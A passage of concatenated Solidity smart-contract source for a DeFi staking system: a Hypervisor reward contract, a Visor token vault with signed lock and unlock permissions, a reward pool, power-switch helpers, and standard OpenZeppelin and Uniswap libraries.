RewardClaimed(vault, recipient, bonusToken, bonusAmount); } } // transfer reward tokens from reward pool to recipient IRewardPool(_hypervisor.rewardPool).sendERC20(_hypervisor.rewardToken, recipient, out.reward); // emit event emit RewardClaimed(vault, recipient, _hypervisor.rewardToken, out.reward); } } /// @notice Exit Hypervisor without claiming reward /// @dev This function should never revert when correctly called by the vault. /// A max number of stakes per vault is set with MAX_STAKES_PER_VAULT to /// place an upper bound on the for loop in calculateTotalStakeUnits(). /// access control: only callable by the vault directly /// state machine: /// - when vault exists on this Hypervisor /// - when active stake from this vault /// - any power state /// state scope: /// - decrease _hypervisor.totalStake /// - increase _hypervisor.lastUpdate /// - modify _hypervisor.totalStakeUnits /// - delete _vaults[vault] /// token transfer: none function rageQuit() external override { // fetch vault storage reference VaultData storage _vaultData = _vaults[msg.sender]; // revert if no active stakes require(_vaultData.stakes.length != 0, "Hypervisor: no stake"); // update cached sum of stake units across all vaults _updateTotalStakeUnits(); // emit event emit Unstaked(msg.sender, _vaultData.totalStake); // update cached totals _hypervisor.totalStake = _hypervisor.totalStake.sub(_vaultData.totalStake); _hypervisor.totalStakeUnits = _hypervisor.totalStakeUnits.sub( calculateTotalStakeUnits(_vaultData.stakes, block.timestamp) ); // delete stake data delete _vaults[msg.sender]; } /* convenience functions */ function _updateTotalStakeUnits() private { // update cached totalStakeUnits _hypervisor.totalStakeUnits = getCurrentTotalStakeUnits(); // update cached lastUpdate _hypervisor.lastUpdate = block.timestamp; } function _validateAddress(address target) private view { // sanity check target for potential input errors require(isValidAddress(target), "Hypervisor: invalid address"); } function _truncateStakesArray(StakeData[] memory array, uint256 newLength) private pure returns (StakeData[] memory newArray) { newArray = new StakeData[](newLength); for (uint256 index = 0; index < newLength; index++) { newArray[index] = array[index]; } return newArray; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; interface IFactory { function create(bytes calldata args) external returns (address instance); function create2(bytes calldata args, bytes32 salt) external returns (address instance); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; interface IInstanceRegistry { /* events */ event InstanceAdded(address instance); event InstanceRemoved(address instance); /* view functions */ function isInstance(address instance) external view returns (bool validity); function instanceCount() external view returns (uint256 count); function instanceAt(uint256 index) external view returns (address instance); } /// @title InstanceRegistry contract InstanceRegistry is IInstanceRegistry { using EnumerableSet for EnumerableSet.AddressSet; /* storage */ EnumerableSet.AddressSet private _instanceSet; /* view functions */ function isInstance(address instance) external view override returns (bool validity) { return _instanceSet.contains(instance); } function instanceCount() external view override returns (uint256 count) { return _instanceSet.length(); } function instanceAt(uint256 index) external view override returns (address instance) { return _instanceSet.at(index); } /* admin functions */ function _register(address instance) internal { require(_instanceSet.add(instance), "InstanceRegistry: already registered"); emit InstanceAdded(instance); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {EIP712} from "./EIP712.sol"; import {ERC1271} from "./ERC1271.sol"; import {OwnableERC721} from "./OwnableERC721.sol"; import {IRageQuit} from "../hypervisor/Hypervisor.sol"; interface IUniversalVault { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event RageQuit(address delegate, address token, bool notified, string reason); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function checkBalances() external view returns (bool validity); } /// @title Visor /// @notice Vault for isolated storage of staking tokens /// @dev Warning: not compatible with rebasing tokens contract Visor is IUniversalVault, EIP712("UniversalVault", "1.0.0"), ERC1271, OwnableERC721, Initializable { using SafeMath for uint256; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.Bytes32Set; /* constant */ // Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks // the gas requirement cannot be determined at runtime by querying the delegate // as it could potentially be manipulated by a malicious delegate who could force // the calls to revert. // The gas limit could alternatively be set upon vault initialization or creation // of a lock, but the gas consumption trade-offs are not favorable. // Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant RAGEQUIT_GAS = 500000; bytes32 public constant LOCK_TYPEHASH = keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant UNLOCK_TYPEHASH = keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)"); string public constant VERSION = "VISOR-1.0.0"; /* storage */ uint256 private _nonce; mapping(bytes32 => LockData) private _locks; EnumerableSet.Bytes32Set private _lockSet; /* initialization function */ function initializeLock() external initializer {} function initialize() external override initializer { OwnableERC721._setNFT(msg.sender); } /* ether receive */ receive() external payable {} /* internal overrides */ function _getOwner() internal view override(ERC1271) returns (address ownerAddress) { return OwnableERC721.owner(); } /* pure functions */ function calculateLockID(address delegate, address token) public pure override returns (bytes32 lockID) { return keccak256(abi.encodePacked(delegate, token)); } /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, amount, nonce)) ); } function getNonce() external view override returns (uint256 nonce) { return _nonce; } function owner() public view override(IUniversalVault, OwnableERC721) returns (address ownerAddress) { return OwnableERC721.owner(); } function getLockSetCount() external view override returns (uint256 count) { return _lockSet.length(); } function getLockAt(uint256 index) external view override returns (LockData memory lockData) { return _locks[_lockSet.at(index)]; } function getBalanceDelegated(address token, address delegate) external view override returns (uint256 balance) { return _locks[calculateLockID(delegate, token)].balance; } function getBalanceLocked(address token) public view override returns (uint256 balance) { uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { LockData storage _lockData = _locks[_lockSet.at(index)]; if (_lockData.token == token && _lockData.balance > balance) balance = _lockData.balance; } return balance; } function checkBalances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance and no∏t shutdown, return false if (IERC20(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance or shutdown, return true return true; } /* user functions */ /// @notice Lock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: anytime /// state scope: /// - insert or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being locked /// @param amount Amount of tokens being locked /// @param permission Permission signature payload function lock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount _locks[lockID].balance = _locks[lockID].balance.add(amount); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, amount); } // validate sufficient balance require( IERC20(token).balanceOf(address(this)) >= _locks[lockID].balance, "UniversalVault: insufficient balance" ); // increase nonce _nonce += 1; // emit event emit Locked(msg.sender, token, amount); } /// @notice Unlock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: after valid lock from delegate /// state scope: /// - remove or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being unlocked /// @param amount Amount of tokens being unlocked /// @param permission Permission signature payload function unlock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // update lock data if (_locks[lockID].balance > amount) { // substract amount from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(amount); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit Unlocked(msg.sender, token, amount); } /// @notice Forcibly cancel delegate lock /// @dev This function will attempt to notify the delegate of the rage quit using /// a fixed amount of gas. /// access control: only owner /// state machine: after valid lock from delegate /// state scope: /// - remove item from _locks /// token transfer: none /// @param delegate Address of delegate /// @param token Address of token being unlocked function rageQuit(address delegate, address token) external override onlyOwner returns (bool notified, string memory error) { // get lock id bytes32 lockID = calculateLockID(delegate, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // attempt to notify delegate if (delegate.isContract()) { // check for sufficient gas require(gasleft() >= RAGEQUIT_GAS, "UniversalVault: insufficient gas"); // attempt rageQuit notification try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() { notified = true; } catch Error(string memory res) { notified = false; error = res; } catch (bytes memory) { notified = false; } } // update lock storage assert(_lockSet.remove(lockID)); delete _locks[lockID]; // emit event emit RageQuit(delegate, token, notified, error); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= max(lock) + amount /// state scope: none /// token transfer: transfer any token /// @param token Address of token being transferred /// @param to Address of the recipient /// @param amount Amount of tokens to transfer function transferERC20( address token, address to, uint256 amount ) external override onlyOwner { // check for sufficient balance require( IERC20(token).balanceOf(address(this)) >= getBalanceLocked(token).add(amount), "UniversalVault: insufficient balance" ); // perform transfer TransferHelper.safeTransfer(token, to, amount); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= amount /// state scope: none /// token transfer: transfer any token /// @param to Address of the recipient /// @param amount Amount of ETH to transfer function transferETH(address to, uint256 amount) external payable override onlyOwner { // perform transfer TransferHelper.safeTransferETH(to, amount); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {Powered} from "./Powered.sol"; interface IRewardPool { function sendERC20( address token, address to, uint256 value ) external; function rescueERC20(address[] calldata tokens, address recipient) external; } /// @title Reward Pool /// @notice Vault for isolated storage of reward tokens contract RewardPool is IRewardPool, Powered, Ownable { /* initializer */ constructor(address powerSwitch) { Powered._setPowerSwitch(powerSwitch); } /* user functions */ /// @notice Send an ERC20 token /// access control: only owner /// state machine: /// - can be called multiple times /// - only online /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param token address The token to send /// @param to address The recipient to send to /// @param value uint256 Amount of tokens to send function sendERC20( address token, address to, uint256 value ) external override onlyOwner onlyOnline { TransferHelper.safeTransfer(token, to, value); } /* emergency functions */ /// @notice Rescue multiple ERC20 tokens /// access control: only power controller /// state machine: /// - can be called multiple times /// - only shutdown /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param tokens address[] The tokens to rescue /// @param recipient address The recipient to rescue to function rescueERC20(address[] calldata tokens, address recipient) external override onlyShutdown { // only callable by controller require( msg.sender == Powered.getPowerController(), "RewardPool: only controller can withdraw after shutdown" ); // assert recipient is defined require(recipient != address(0), "RewardPool: recipient not defined"); // transfer tokens for (uint256 index = 0; index < tokens.length; index++) { // get token address token = tokens[index]; // get balance uint256 balance = IERC20(token).balanceOf(address(this)); // transfer token TransferHelper.safeTransfer(token, recipient, balance); } } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IPowerSwitch} from "./PowerSwitch.sol"; interface IPowered { function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getPowerSwitch() external view returns (address powerSwitch); function getPowerController() external view returns (address controller); } /// @title Powered /// @notice Helper for calling external PowerSwitch contract Powered is IPowered { /* storage */ address private _powerSwitch; /* modifiers */ modifier onlyOnline() { _onlyOnline(); _; } modifier onlyOffline() { _onlyOffline(); _; } modifier notShutdown() { _notShutdown(); _; } modifier onlyShutdown() { _onlyShutdown(); _; } /* initializer */ function _setPowerSwitch(address powerSwitch) internal { _powerSwitch = powerSwitch; } /* getter functions */ function isOnline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOnline(); } function isOffline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOffline(); } function isShutdown() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isShutdown(); } function getPowerSwitch() public view override returns (address powerSwitch) { return _powerSwitch; } function getPowerController() public view override returns (address controller) { return IPowerSwitch(_powerSwitch).getPowerController(); } /* convenience functions */ function _onlyOnline() private view { require(isOnline(), "Powered: is not online"); } function _onlyOffline() private view { require(isOffline(), "Powered: is not offline"); } function _notShutdown() private view { require(!isShutdown(), "Powered: is shutdown"); } function _onlyShutdown() private view { require(isShutdown(), "Powered: is not shutdown"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev 